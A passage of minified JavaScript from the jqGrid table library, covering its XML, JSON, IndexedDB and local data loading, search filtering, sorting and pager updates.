= function( trow, k) {return $(idn,trow).text() || k;}; } else { getId = function( trow, k) {return $(xmlRd.cell,trow).eq(idn).text() || k;}; } } else { getId = function( trow, k) {return trow.getAttribute(idn.replace(/[\[\]]/g,"")) || k;}; } ts.p.userData = {}; ts.p.page = intNum($.jgrid.getXmlData(xml, xmlRd.page), ts.p.page); ts.p.lastpage = intNum($.jgrid.getXmlData(xml, xmlRd.total), 1); ts.p.records = intNum($.jgrid.getXmlData(xml, xmlRd.records)); if($.jgrid.isFunction(xmlRd.userdata)) { ts.p.userData = xmlRd.userdata.call(ts, xml) || {}; } else { $.jgrid.getXmlData(xml, xmlRd.userdata, true).each(function() {ts.p.userData[this.getAttribute("name")]= $(this).text();}); } var gxml = $.jgrid.getXmlData( xml, xmlRd.root, true); gxml = $.jgrid.getXmlData( gxml, xmlRd.row, true); if (!gxml) { gxml = []; } var gl = gxml.length, j=0, grpdata=[], rn = parseInt(ts.p.rowNum,10), br=ts.p.scroll?$.jgrid.randId():1, tablebody = $(ts).find("tbody").first(), hiderow=false, groupingPrepare, selr; if(ts.p.grouping) { hiderow = ts.p.groupingView.groupCollapse === true; groupingPrepare = $.jgrid.getMethod("groupingPrepare"); } if (gl > 0 && ts.p.page <= 0) { ts.p.page = 1; } if(gxml && gl){ if (adjust) { rn *= adjust+1; } var afterInsRow = $.jgrid.isFunction(ts.p.afterInsertRow), rnc = ni ? getstyle(stylemodule, 'rownumBox', false, 'jqgrid-rownum') :"", scc = sc ? getstyle(stylemodule, 'searchBox', false, '') :"", mlc = gi ? getstyle(stylemodule, 'multiBox', false, 'cbox'):""; while (j<gl) { xmlr = gxml[j]; rid = getId(xmlr,br+j); rid = ts.p.idPrefix + rid; if( ts.p.preserveSelection) { if( ts.p.multiselect) { selr = ts.p.selarrrow.indexOf( rid ) !== -1; spsh = selr ? spsh+1: spsh; } else { selr = (rid === ts.p.selrow); } } var iStartTrTag = rowData.length; rowData.push(""); if( ni ) { rowData.push( addRowNum(0, j, ts.p.page, ts.p.rowNum, rnc ) ); } if( gi ) { rowData.push( addMulti(rid, ni, j + 1, selr, mlc, xmlr) ); } if( sc ){ rowData.push( addSearch(rid, gi+ni, j + 1, scc) ); } if( si ) { rowData.push( addSubGridCell.call(self, gi+ni+sc, j + 1) ); } if(xmlRd.repeatitems){ if (!F) { F=orderedCols(gi+si+ni+sc); } var cells = $.jgrid.getXmlData( xmlr, xmlRd.cell, true); $.each(F, function (k) { var cell = cells[this]; if (!cell) { return false; } v = cell.textContent || cell.text || ""; rd[ts.p.colModel[k+gi+si+ni+sc].name] = v; rowData.push( addCell(rid,v,k+gi+si+ni+sc,j+rcnt,xmlr, rd) ); }); } else { for(i = 0; i < f.length;i++) { v = $.jgrid.getXmlData( xmlr, f[i]); rd[ts.p.colModel[i+gi+si+ni+sc].name] = v; rowData.push( addCell(rid, v, i+gi+si+ni+sc, j+rcnt, xmlr, rd) ); } } rowData[iStartTrTag] = constructTr(rid, hiderow, classes, rd, xmlr); rowData.push("</tr>"); if(ts.p.grouping) { grpdata.push( rowData ); if(!ts.p.groupingView._locgr) { groupingPrepare.call(self , rd, j ); } rowData = []; } if(locdata || (ts.p.treeGrid === true && !(ts.p._ald)) ) { rd[xmlid] = $.jgrid.stripPref(ts.p.idPrefix, rid); ts.p.data.push(rd); ts.p._index[rd[xmlid]] = ts.p.data.length-1; if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { treeadjtmp.push(rd); } } if(ts.p.gridview === false ) { tablebody.append(rowData.join('')); self.triggerHandler("jqGridAfterInsertRow", [rid, rd, xmlr]); if(afterInsRow) {ts.p.afterInsertRow.call(ts,rid,rd,xmlr);} rowData=[]; } rd={}; ir++; j++; if(ir===rn) {break;} } } spsh = ir > 0 && ts.p.multiselect && ts.p.preserveSelection && ir === spsh ; if(ts.p.gridview === true) { fpos = ts.p.treeANode > -1 ? ts.p.treeANode: 0; if(ts.p.grouping) { if(!locdata) { self.jqGrid('groupingRender',grpdata,ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } else if(ts.p.treeGrid === true && fpos > 0) { $(ts.rows[fpos]).after(rowData.join('')); } else { //$("tbody:first",t).append(rowData.join('')); tablebody.append(rowData.join('')); ts.grid.cols = ts.rows[0].cells; // update cached first row } } ts.p.totaltime = new Date() - startReq; rowData =null; if(ir>0) { if(ts.p.records===0) { ts.p.records=gl;} } if( ts.p.treeGrid === true) { try {self.jqGrid("setTreeNode", fpos+1, ir+fpos+1);} catch (e) {} if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { v = ts.rows[ts.p.treeANode].id; v = ts.p._index[v]+1; if( v >= 1) { ts.p.data.splice(-(gl), gl); for(i=0; i < gl; i++) { ts.p.data.splice(v + i,0,treeadjtmp[i]); } refreshIndex(); } } } //if(!ts.p.treeGrid && !ts.p.scroll) {ts.grid.bDiv.scrollTop = 0;} ts.p.reccount=ir; ts.p.treeANode = -1; if(ts.p.userDataOnFooter) { self.jqGrid("footerData", "set", ts.p.userData, ts.p.formatFooterData, 0, false); } if(ts.p.userDataOnHeader) { self.jqGrid("headerData", "set", ts.p.userData, ts.p.formatHeaderData, 0, false); } if(locdata) { ts.p.records = gl; ts.p.lastpage = Math.ceil(gl/ rn); } if (!more) { ts.updatepager(false,true); } if(spsh) { setHeadCheckBox( true ); } if(locdata) { while (ir<gl) { xmlr = gxml[ir]; rid = getId(xmlr,ir+br); rid = ts.p.idPrefix + rid; if(xmlRd.repeatitems){ if (!F) { F=orderedCols(gi+si+ni+sc); } var cells2 = $.jgrid.getXmlData( xmlr, xmlRd.cell, true); $.each(F, function (k) { var cell = cells2[this]; if (!cell) { return false; } v = cell.textContent || cell.text || ""; rd[ts.p.colModel[k+gi+si+ni+sc].name] = v; }); } else { for(i = 0; i < f.length;i++) { v = $.jgrid.getXmlData( xmlr, f[i]); rd[ts.p.colModel[i+gi+si+ni+sc].name] = v; } } rd[xmlid] = $.jgrid.stripPref(ts.p.idPrefix, rid); if( ts.p.grouping ) { groupingPrepare.call(self, rd, ir ); } ts.p.data.push(rd); ts.p._index[rd[xmlid]] = ts.p.data.length-1; rd = {}; ir++; } if(ts.p.grouping) { ts.p.groupingView._locgr = true; self.jqGrid('groupingRender', grpdata, ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } if(ts.p.subGrid === true ) { try {self.jqGrid("addSubGrid",gi+ni);} catch (_){} } }, addJSONData = function(data, rcnt, more, adjust) { var startReq = new Date(); if(data) { if(ts.p.treeANode === -1 && !ts.p.scroll) { emptyRows.call(ts, false, false); rcnt=1; } else { rcnt = rcnt > 1 ? rcnt :1; } } else { return; } var dReader, frd; if(ts.p.datatype === "local") { dReader = ts.p.localReader; frd= 'local'; } else { dReader = ts.p.jsonReader; frd='json'; } var locid = "_id_", locdata = (ts.p.datatype !== "local" && ts.p.loadonce) || ts.p.datatype === "jsonstring", self = $(ts), ir=0,v,i,j,f=[],cur, addSubGridCell, gi = ts.p.multiselect ? 1 : 0, si = ts.p.subGrid ===true ? 1 : 0, ni = ts.p.rownumbers ===true ? 1 : 0, sc = ts.p.searchCols ===true ? 1 : 0, br = (ts.p.scroll && ts.p.datatype !== 'local') ? $.jgrid.randId() : 1, rn = parseInt(ts.p.rowNum,10), selected=false, selr, arrayReader=orderedCols(gi+si+ni+sc), objectReader=reader(frd), rowReader,len,drows,idn,rd={}, fpos, idr,rowData=[], treeadjtmp =[], classes = getstyle(stylemodule, 'rowBox', true, 'jqgrow ui-row-'+ ts.p.direction), afterInsRow = $.jgrid.isFunction(ts.p.afterInsertRow), grpdata=[],hiderow=false, groupingPrepare, tablebody = $(ts).find("tbody").first(), rnc = ni ? getstyle(stylemodule, 'rownumBox', false, 'jqgrid-rownum') :"", scc = sc ? getstyle(stylemodule, 'searchBox', false, '') :"", mlc = gi ? getstyle(stylemodule, 'multiBox', false, 'cbox'):""; if(locdata) { ts.p.data = []; ts.p._index = {}; ts.p.localReader.id = locid; } ts.p.reccount = 0; ts.p.page = intNum($.jgrid.getAccessor(data,dReader.page), ts.p.page); ts.p.lastpage = intNum($.jgrid.getAccessor(data,dReader.total), 1); ts.p.records = intNum($.jgrid.getAccessor(data,dReader.records)); ts.p.userData = $.jgrid.getAccessor(data,dReader.userdata) || {}; if(si) { addSubGridCell = $.jgrid.getMethod("addSubGridCell"); } if( ts.p.keyName===false ) { idn = $.jgrid.isFunction(dReader.id) ? dReader.id.call(ts, data) : dReader.id; } else { idn = ts.p.keyName; } if(dReader.repeatitems && ts.p.keyName && isNaN(idn)) { idn = ts.p.keyIndex; } drows = $.jgrid.getAccessor(data,dReader.root); if ( $.jgrid.isNull(drows) && Array.isArray(data)) { drows = data; } if (!drows) { drows = []; } len = drows.length; i = 0; if (len > 0 && ts.p.page <= 0) { ts.p.page = 1; } if (adjust) { rn *= adjust+1; } if(ts.p.datatype === "local" && !ts.p.deselectAfterSort) { selected = true; } if(ts.p.grouping) { hiderow = ts.p.groupingView.groupCollapse === true; groupingPrepare = $.jgrid.getMethod("groupingPrepare"); } while (i<len) { cur = drows[i]; idr = $.jgrid.getAccessor(cur,idn); if(idr === undefined) { if (typeof idn === "number" && !$.jgrid.isNull( ts.p.colModel[idn+gi+si+ni+sc]) ) { // reread id by name idr = $.jgrid.getAccessor(cur,ts.p.colModel[idn+gi+si+ni+sc].name); } if(idr === undefined) { idr = br+i; if(f.length===0){ if(dReader.cell){ var ccur = $.jgrid.getAccessor(cur,dReader.cell) || cur; idr = !$.jgrid.isNull(ccur) && ccur[idn] !== undefined ? ccur[idn] : idr; ccur=null; } } } } idr = ts.p.idPrefix + idr; if( selected || ts.p.preserveSelection) { if( ts.p.multiselect) { selr = ts.p.selarrrow.indexOf( idr ) !== -1; spsh = selr ? spsh+1: spsh; } else { selr = (idr === ts.p.selrow); } } var iStartTrTag = rowData.length; rowData.push(""); if( ni ) { rowData.push( addRowNum(0, i, ts.p.page, ts.p.rowNum, rnc ) ); } if( gi ){ rowData.push( addMulti(idr, ni, i + 1, selr, mlc, cur) ); } if( sc ){ rowData.push( addSearch(idr, gi+ni, i + 1, scc) ); } if( si ) { rowData.push( addSubGridCell.call(self ,gi+ni+sc,i + 1) ); } rowReader=objectReader; if (dReader.repeatitems) { if(dReader.cell) {cur = $.jgrid.getAccessor(cur,dReader.cell) || cur;} if (Array.isArray(cur)) { rowReader=arrayReader; } } for (j=0;j<rowReader.length;j++) { v = $.jgrid.getAccessor(cur,rowReader[j]); rd[ts.p.colModel[j+gi+si+ni+sc].name] = v; rowData.push( addCell(idr,v,j+gi+si+ni+sc,i+rcnt,cur, rd) ); } rowData[iStartTrTag] = constructTr(idr, hiderow, (selr ? classes + ' ' + highlight : classes), rd, cur); rowData.push( "</tr>" ); if(ts.p.grouping) { grpdata.push( rowData ); if(!ts.p.groupingView._locgr) { groupingPrepare.call(self , rd, i); } rowData = []; } if(locdata || (ts.p.treeGrid===true && !(ts.p._ald))) { rd[locid] = $.jgrid.stripPref(ts.p.idPrefix, idr); ts.p.data.push(rd); ts.p._index[rd[locid]] = ts.p.data.length-1; if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { treeadjtmp.push(rd); } } if(ts.p.gridview === false ) { tablebody.append(rowData.join('')); self.triggerHandler("jqGridAfterInsertRow", [idr, rd, cur]); if(afterInsRow) {ts.p.afterInsertRow.call(ts,idr,rd,cur);} rowData=[];//ari=0; } rd={}; ir++; i++; if(ir===rn) { break; } } spsh = ir > 0 && ts.p.multiselect && (ts.p.preserveSelection || selected) && ir === spsh; if(ts.p.gridview === true ) { fpos = ts.p.treeANode > -1 ? ts.p.treeANode: 0; if(ts.p.grouping) { if(!locdata) { self.jqGrid('groupingRender', grpdata, ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } else if(ts.p.treeGrid === true && fpos > 0) { $(ts.rows[fpos]).after(rowData.join('')); } else { tablebody.append(rowData.join('')); ts.grid.cols = ts.rows[0].cells; } } ts.p.totaltime = new Date() - startReq; rowData = null; if(ir>0) { if(ts.p.records===0) { ts.p.records=len; } } if( ts.p.treeGrid === true) { try {self.jqGrid("setTreeNode", fpos+1, ir+fpos+1);} catch (e) {} if(ts.p.treeANode > -1 && ts.p.treeGridModel === 'adjacency') { v = ts.rows[ts.p.treeANode].id; v = ts.p._index[v]+1; if( v >= 1) { ts.p.data.splice(-(len), len); for(i=0; i < len; i++) { ts.p.data.splice(v + i,0,treeadjtmp[i]); } refreshIndex(); } } } //if(!ts.p.treeGrid && !ts.p.scroll) {ts.grid.bDiv.scrollTop = 0;} ts.p.reccount=ir; ts.p.treeANode = -1; if(ts.p.userDataOnFooter) { self.jqGrid("footerData", "set", ts.p.userData, ts.p.formatFooterData, 0, false); } if(ts.p.userDataOnHeader) { self.jqGrid("headerData", "set", ts.p.userData, ts.p.formatHeaderData, 0, false); } if(locdata) { ts.p.records = len; ts.p.lastpage = Math.ceil(len/ rn); } if (!more) { ts.updatepager(false,true); } if(spsh) { setHeadCheckBox( true ); } if(locdata) { while (ir<len && drows[ir]) { cur = drows[ir]; idr = $.jgrid.getAccessor(cur,idn); if(idr === undefined) { if (typeof idn === "number" && !$.jgrid.isNull(ts.p.colModel[idn+gi+si+ni+sc])) { // reread id by name idr = $.jgrid.getAccessor(cur,ts.p.colModel[idn+gi+si+ni+sc].name); } if(idr === undefined) { idr = br+ir; if(f.length===0){ if(dReader.cell){ var ccur2 = $.jgrid.getAccessor(cur,dReader.cell) || cur; idr = !$.jgrid.isNull(ccur2) && ccur2[idn] !== undefined ? ccur2[idn] : idr; ccur2=null; } } } } if(cur) { idr = ts.p.idPrefix + idr; rowReader=objectReader; if (dReader.repeatitems) { if(dReader.cell) {cur = $.jgrid.getAccessor(cur,dReader.cell) || cur;} if (Array.isArray(cur)) { rowReader=arrayReader; } } for (j=0;j<rowReader.length;j++) { rd[ts.p.colModel[j+gi+si+ni+sc].name] = $.jgrid.getAccessor(cur,rowReader[j]); } rd[locid] = $.jgrid.stripPref(ts.p.idPrefix, idr); if(ts.p.grouping) { groupingPrepare.call(self, rd, ir ); } ts.p.data.push(rd); ts.p._index[rd[locid]] = ts.p.data.length-1; rd = {}; } ir++; } if(ts.p.grouping) { ts.p.groupingView._locgr = true; self.jqGrid('groupingRender', grpdata, ts.p.colModel.length, ts.p.page, rn); grpdata = null; } } if(ts.p.subGrid === true ) { try { self.jqGrid("addSubGrid",gi+ni+sc);} catch (_){} } }, addIndexedDBData = async function ( retAll ) { return new Promise(function(resolve, reject){ let INDEX_NAME = ts.p.sortname, ORDER = ts.p.sortorder.toLowerCase(), recordsperpage = parseInt(ts.p.rowNum,10), total=0, totalpages, page = parseInt(ts.p.page,10), srules, everyORsome = 'every', range = null; const _usecase = ts.p.ignoreCase; if(retAll) { page = 1; recordsperpage = 1000000; } if(!INDEX_NAME) { INDEX_NAME = ts.p.sortname = ts.p.colModel[0].index || ts.p.colModel[0].name; } if (ts.p.search === true) { srules = ts.p.postData.filters; if(srules) { if(typeof srules === "string") { srules = $.jgrid.parse(srules);} if(srules.groupOp === "OR") { everyORsome = 'some'; } srules.rules.map(el=>{ if(_usecase) { el.data = el.data.toLowerCase(); } el.type = 'text'; let col = $(ts).jqGrid('getColProp', el.field); let type = col.sorttype || col.stype; let conv = !(el.op === 'bt' || el.op === 'in' || el.op === 'ni'); switch(type) { case 'int': case 'integer': if(conv) { el.data = parseInt(el.data,10); } el.type='num'; break; case 'float': case 'number': case 'numeric': if(conv) { el.data = parseFloat(el.data); } el.type='num'; break; } }); } } var compareFnMap = { 'eq': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) === queryObj.data;}, 'ne': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) !== queryObj.data;}, 'lt': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) < queryObj.data;}, 'le': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) <= queryObj.data;}, 'gt': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) > queryObj.data;}, 'ge': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]) >= queryObj.data;}, 'bw': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).indexOf(queryObj.data) === 0;}, 'bn': function(queryObj, data, _uselwcs) { return !((_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).indexOf(queryObj.data) === 0);}, 'ew': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).endsWith(queryObj.data);}, 'en': function(queryObj, data, _uselwcs) { return !((_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).endsWith(queryObj.data));}, 'cn': function(queryObj, data, _uselwcs) { return (_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]).indexOf(queryObj.data) > -1;}, 'nc': function(queryObj, data, _uselwcs) { return !((_uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field])) > -1;}, 'in': function(queryObj, data, _uselwcs) { return queryObj.data.split(",").map(el=>{return (_uselwcs ? el.trim().toLowerCase() : el.trim());}).indexOf(data[queryObj.field]) > -1;}, 'ni': function(queryObj, data, _uselwcs) { return queryObj.data.split(",").map(el=>{return (_uselwcs ? el.trim().toLowerCase() : el.trim());}).indexOf(data[queryObj.field].trim()) === -1;}, 'nu': function(queryObj, data, _uselwcs) { return data[queryObj.field] === null;}, 'nn': function(queryObj, data, _uselwcs) { return data[queryObj.field] !== null;}, 'bt': function(queryObj, data, _uselwcs) { let minmax = queryObj.data.split("...").map(el=>{return queryObj.type === "num" ? el - 0 : el.trim();}); try { let r = _uselwcs ? data[queryObj.field].toLowerCase() : data[queryObj.field]; return r >= minmax[0] && r <= minmax[1]; } catch(e) { return false; } } }; const connection = window.indexedDB.open(ts.p.dbconfig.dbname); connection.onsuccess = function( e ) { const db = connection.result; const transaction = db.transaction(ts.p.dbconfig.dbtable, 'readonly'); let retresult ={}; retresult[ts.p.localReader.root] =[]; transaction.oncomplete = function(event) { if(ORDER === 'desc' || ts.p.grouping) { // we need here multi sorting too retresult[ts.p.localReader.root].sort(function(a,b){ var low=[], high=[]; if(ts.p.grouping) { for(let j =0;j<ts.p.groupingView.groupField.length; j++) { if(ts.p.groupingView.groupOrder[j] === 'asc') { low.push(a[ts.p.groupingView.groupField[j]]); high.push(b[ts.p.groupingView.groupField[j]]); } else { low.push(b[ts.p.groupingView.groupField[j]]); high.push(a[ts.p.groupingView.groupField[j]]); } } if(ORDER === 'asc') { low.push(a[INDEX_NAME]); high.push(b[INDEX_NAME]); } else { low.push(b[INDEX_NAME]); high.push(a[INDEX_NAME]); } } else { low = [b[INDEX_NAME]]; high = [a[INDEX_NAME]]; } return indexedDB.cmp(low,high); }); } retresult[ts.p.localReader.root]= retresult[ts.p.localReader.root].slice( (page-1)*recordsperpage , page*recordsperpage ); totalpages = Math.ceil(total / recordsperpage); retresult[ts.p.localReader.total] = totalpages; retresult[ts.p.localReader.page] = page; retresult[ts.p.localReader.records] = total; retresult[ts.p.localReader.userdata] = ts.p.userData; resolve(retresult); }; transaction.onerror = function(event) { endReq(); reject(event.target); //console.log(event.target); }; const store = transaction.objectStore(ts.p.dbconfig.dbtable); const index = store.index( INDEX_NAME ); index.count(range).onsuccess = (e) => { //console.log(e); if(ts.p.search && srules.rules.length) { total = 0; } else { total = e.target.result; } }; var limit = Math.pow(2,32) - 1; if(ts.p.search === false && ORDER === 'asc' && !ts.p.grouping) { limit = page*recordsperpage; } var res = index.getAll(range, limit); res.onsuccess = event => { if(ts.p.search === true && srules.hasOwnProperty('rules') && srules.rules.length) { var lenn = res.result.length, i=0; while(i<lenn) { if(srules.rules[everyORsome](function(c) { return compareFnMap[c.op](c, res.result[i], _usecase && c.type === 'text');}) ) { total++; retresult[ts.p.localReader.root].push(res.result[i]); } i++; } } else { retresult[ts.p.localReader.root] = res.result; } }; res.onerror = function(event) { console.log(event); }; }; });}, addLocalData = function( retAll ) { var st = ts.p.multiSort ? [] : "", sto=[], fndsort=false, cmtypes={}, grtypes=[], grindexes=[], srcformat, sorttype, newformat, sfld; if(!Array.isArray(ts.p.data)) { return; } var grpview = ts.p.grouping ? ts.p.groupingView : false, lengrp, gin, si; $.each(ts.p.colModel,function(){ if ( !(this.name !== 'cb' && this.name !== 'subgrid' && this.name !== 'rn' && this.name !== 'sc') ) { return true; } sorttype = this.sorttype || "text"; si = this.index || this.name; if(sorttype === "date" || sorttype === "datetime") { if(this.formatter && typeof this.formatter === 'string' && this.formatter === 'date') { if(this.formatoptions && this.formatoptions.srcformat) { srcformat = this.formatoptions.srcformat; } else { srcformat = $.jgrid.getRegional(ts, "formatter.date.srcformat"); } if(this.formatoptions && this.formatoptions.newformat) { newformat = this.formatoptions.newformat; } else { newformat = $.jgrid.getRegional(ts, "formatter.date.newformat"); } } else { srcformat = newformat = this.datefmt || "Y-m-d"; } cmtypes[si] = {"stype": sorttype, "srcfmt": srcformat,"newfmt":newformat, "sfunc": this.sortfunc || null, name : this.name}; } else { cmtypes[si] = {"stype": sorttype, "srcfmt":'',"newfmt":'', "sfunc": this.sortfunc || null, name : this.name}; } if(ts.p.grouping ) { for(gin =0, lengrp = grpview.groupField.length; gin< lengrp; gin++) { if( this.name === grpview.groupField[gin]) { grtypes[gin] = cmtypes[si]; grindexes[gin]= si; } } } if(!ts.p.multiSort) { if(!fndsort && (si === ts.p.sortname)){ st = si; fndsort = true; } } }); if(ts.p.multiSort) { st = sortarr; sto = sortord; } if(ts.p.treeGrid && ts.p._sort) { $(ts).jqGrid("SortTree", st, ts.p.sortorder, cmtypes[st].stype || 'text', cmtypes[st].srcfmt || ''); return; } var compareFnMap = { 'eq':function(queryObj) {return queryObj.equals;}, 'ne':function(queryObj) {return queryObj.notEquals;}, 'lt':function(queryObj) {return queryObj.less;}, 'le':function(queryObj) {return queryObj.lessOrEquals;}, 'gt':function(queryObj) {return queryObj.greater;}, 'ge':function(queryObj) {return queryObj.greaterOrEquals;}, 'cn':function(queryObj) {return queryObj.contains;}, 'nc':function(queryObj,op) {return op === "OR" ? queryObj.orNot().contains : queryObj.andNot().contains;}, 'bw':function(queryObj) {return queryObj.startsWith;}, 'bn':function(queryObj,op) {return op === "OR" ? queryObj.orNot().startsWith : queryObj.andNot().startsWith;}, 'en':function(queryObj,op) {return op === "OR" ? queryObj.orNot().endsWith : queryObj.andNot().endsWith;}, 'ew':function(queryObj) {return queryObj.endsWith;}, "ni":function (queryObj, op) { return op === "OR" ? queryObj.orNot().inData : queryObj.andNot().inData; }, "in":function (queryObj) { return queryObj.inData; }, 'nu':function(queryObj) {return queryObj.isNull;}, 'nn':function(queryObj,op) {return op === "OR" ? queryObj.orNot().isNull : queryObj.andNot().isNull;} }, query = $.jgrid.from.call(ts, ts.p.data); if (ts.p.ignoreCase) { query = query.ignoreCase(); } function tojLinq ( group ) { var s = 0, index, gor, ror, opr, rule, fld; if (!$.jgrid.isNull(group.groups)) { gor = group.groups.length && group.groupOp.toString().toUpperCase() === "OR"; if (gor) { query.orBegin(); } for (index = 0; index < group.groups.length; index++) { if (s > 0 && gor) { query.or(); } try { tojLinq(group.groups[index]); } catch (e) {alert(e);} s++; } if (gor) { query.orEnd(); } } if (!$.jgrid.isNull(group.rules)) { //if(s>0) { // var result = query.select(); // query = $.jgrid.from( result); // if (ts.p.ignoreCase) { query = query.ignoreCase(); } //} try{ ror = group.rules.length && group.groupOp.toString().toUpperCase() === "OR"; if (ror) { query.orBegin(); } var rulefld; for (index = 0; index < group.rules.length; index++) { rule = group.rules[index]; opr = group.groupOp.toString().toUpperCase(); if (compareFnMap[rule.op] && rule.field ) { if(s > 0 && opr && opr === "OR") { query = query.or(); } rulefld = rule.field; if( ts.p.useNameForSearch) { if(cmtypes.hasOwnProperty(rule.field)) { rulefld = cmtypes[rule.field].name; } } try { fld = cmtypes[rule.field]; if(fld.stype === 'date') { if(typeof fld.srcfmt === "string" && typeof fld.newfmt === "string" ) { rule.data = $.jgrid.parseDate.call(ts, fld.newfmt, rule.data, fld.srcfmt); } } query = compareFnMap[rule.op](query, opr)(rulefld, rule.data, fld); } catch (e) {} } else if( ts.p.customFilterDef !== undefined && ts.p.customFilterDef[rule.op] !== undefined && $.jgrid.isFunction(ts.p.customFilterDef[rule.op].action)) { query = query.user.call(ts, rule.op, rule.field, rule.data); } s++; } if (ror) { query.orEnd(); } } catch (g) {alert(g);} } } if (ts.p.search === true) { var srules = ts.p.postData.filters; if(srules) { if(typeof srules === "string") { srules = $.jgrid.parse(srules);} tojLinq( srules ); } else { try { sfld = cmtypes[ts.p.postData.searchField]; if(sfld.stype === 'date') { if(sfld.srcfmt && sfld.newfmt && sfld.srcfmt !== sfld.newfmt ) { ts.p.postData.searchString = $.jgrid.parseDate.call(ts, sfld.newfmt, ts.p.postData.searchString, sfld.srcfmt); } } if(compareFnMap[ts.p.postData.searchOper]) { query = compareFnMap[ts.p.postData.searchOper](query)(ts.p.postData.searchField, ts.p.postData.searchString,cmtypes[ts.p.postData.searchField]); } else if( ts.p.customFilterDef !== undefined && ts.p.customFilterDef[ts.p.postData.searchOper] !== undefined && $.jgrid.isFunction(ts.p.customFilterDef[ts.p.postData.searchOper].action)) { query = query.user.call(ts, ts.p.postData.searchOper, ts.p.postData.searchField, ts.p.postData.searchString); } } catch (se){} } } if(ts.p.treeGrid && ts.p.treeGridModel === "nested") { query.orderBy(ts.p.treeReader.left_field, 'asc', 'integer', '', null); } if(ts.p.treeGrid && ts.p.treeGridModel === "adjacency") { lengrp =0; st = null; } if(ts.p.grouping) { for(gin=0; gin<lengrp;gin++) { query.orderBy(grindexes[gin],grpview.groupOrder[gin],grtypes[gin].stype, grtypes[gin].srcfmt); } } if(ts.p.multiSort) { $.each(st,function(i){ query.orderBy(this, sto[i], cmtypes[this].stype, cmtypes[this].srcfmt, cmtypes[this].sfunc); }); } else { if (st && ts.p.sortorder && fndsort) { // to be fixed in case sortname has more than one field if(ts.p.sortorder.toUpperCase() === "DESC") { query.orderBy(ts.p.sortname, "d", cmtypes[st].stype, cmtypes[st].srcfmt, cmtypes[st].sfunc); } else { query.orderBy(ts.p.sortname, "a", cmtypes[st].stype, cmtypes[st].srcfmt, cmtypes[st].sfunc); } } } var queryResults = query.select(), recordsperpage = parseInt(ts.p.rowNum,10), total = queryResults.length, page = parseInt(ts.p.page,10), totalpages = Math.ceil(total / recordsperpage), retresult = {}; if((ts.p.search || ts.p.resetsearch) && ts.p.grouping && ts.p.groupingView._locgr) { ts.p.groupingView.groups =[]; var j, grPrepare = $.jgrid.getMethod("groupingPrepare"), key, udc; if(ts.p.footerrow && ts.p.userDataOnFooter) { for (key in ts.p.userData) { if(ts.p.userData.hasOwnProperty(key)) { ts.p.userData[key] = 0; } } udc = true; } for(j=0; j<total; j++) { if(udc) { for(key in ts.p.userData){ if( ts.p.userData.hasOwnProperty( key ) ) { ts.p.userData[key] += parseFloat(queryResults[j][key] || 0); } } } grPrepare.call($(ts),queryResults[j],j, recordsperpage ); } } if( retAll ) { return queryResults; } if(ts.p.treeGrid && ts.p.search) { queryResults = $(ts).jqGrid("searchTree", queryResults); } else { queryResults = queryResults.slice( (page-1)*recordsperpage , page*recordsperpage ); } query = null; cmtypes = null; retresult[ts.p.localReader.total] = totalpages; retresult[ts.p.localReader.page] = page; retresult[ts.p.localReader.records] = total; retresult[ts.p.localReader.root] = queryResults; retresult[ts.p.localReader.userdata] = ts.p.userData; queryResults = null; return retresult; }, updatepager = function(rn, dnd) { var cp, last, base, from,to,tot,fmt, pgboxes = "", sppg, pgid = ts.p.pager ? ts.p.pager.substring(1) : "", tspg = pgid ? "_"+pgid : "", tspg_t = ts.p.toppager ? "_"+ts.p.toppager.slice(1) : ""; base = parseInt(ts.p.page,10)-1; if(base < 0) { base = 0; } base = base*parseInt(ts.p.rowNum,10); to = base + ts.p.reccount; if (ts.p.scroll) { var rows = $("tbody", ts.grid.bDiv).first().find("> tr").slice( 1 ); if(to > ts.p.records) { to = ts.p.records; } base = to - rows.length; ts.p.reccount = rows.length; var rh = rows.outerHeight() || ts.grid.prevRowHeight; if (rh) { var top = base * rh; var height = parseInt(ts.p.records,10) * rh; $(ts.grid.bDiv).find(">div").first().css({height : height}).children("div").first().css({height:top,display:top?"":"none"}); if (ts.grid.bDiv.scrollTop === 0 && ts.p.page > 1) { ts.grid.bDiv.scrollTop = ts.p.rowNum * (ts.p.page - 1) * rh; } } ts.grid.bDiv.scrollLeft = ts.grid.hDiv.scrollLeft; } pgboxes = ts.p.pager || ""; pgboxes += ts.p.toppager ? (pgboxes ? "," + ts.p.toppager : ts.p.toppager) : ""; if(pgboxes) { fmt = $.jgrid.getRegional(ts, "formatter.integer"); cp = intNum(ts.p.page); last = intNum(ts.p.lastpage); $(".selbox",pgboxes)[ this.p.useProp ? 'prop' : 'attr' ]("disabled",false); if(ts.p.pginput===true) { $('.ui-pg-input',pgboxes)[$('.ui-pg-input',pgboxes).first().is(':input')?'val':'html']( (last < cp) ? ts.p.lastpage : ts.p.page); sppg = ts.p.toppager ? '#sp_1'+tspg+",#sp_1"+tspg_t : '#sp_1'+tspg; $(sppg).html($.fmatter ? $.fmatter.util.NumberFormat(ts.p.lastpage,fmt):ts.p.lastpage); } if (ts.p.viewrecords){ if(ts.p.reccount === 0) { $(".ui-paging-info",pgboxes).html($.jgrid.getRegional(ts, "defaults.emptyrecords", 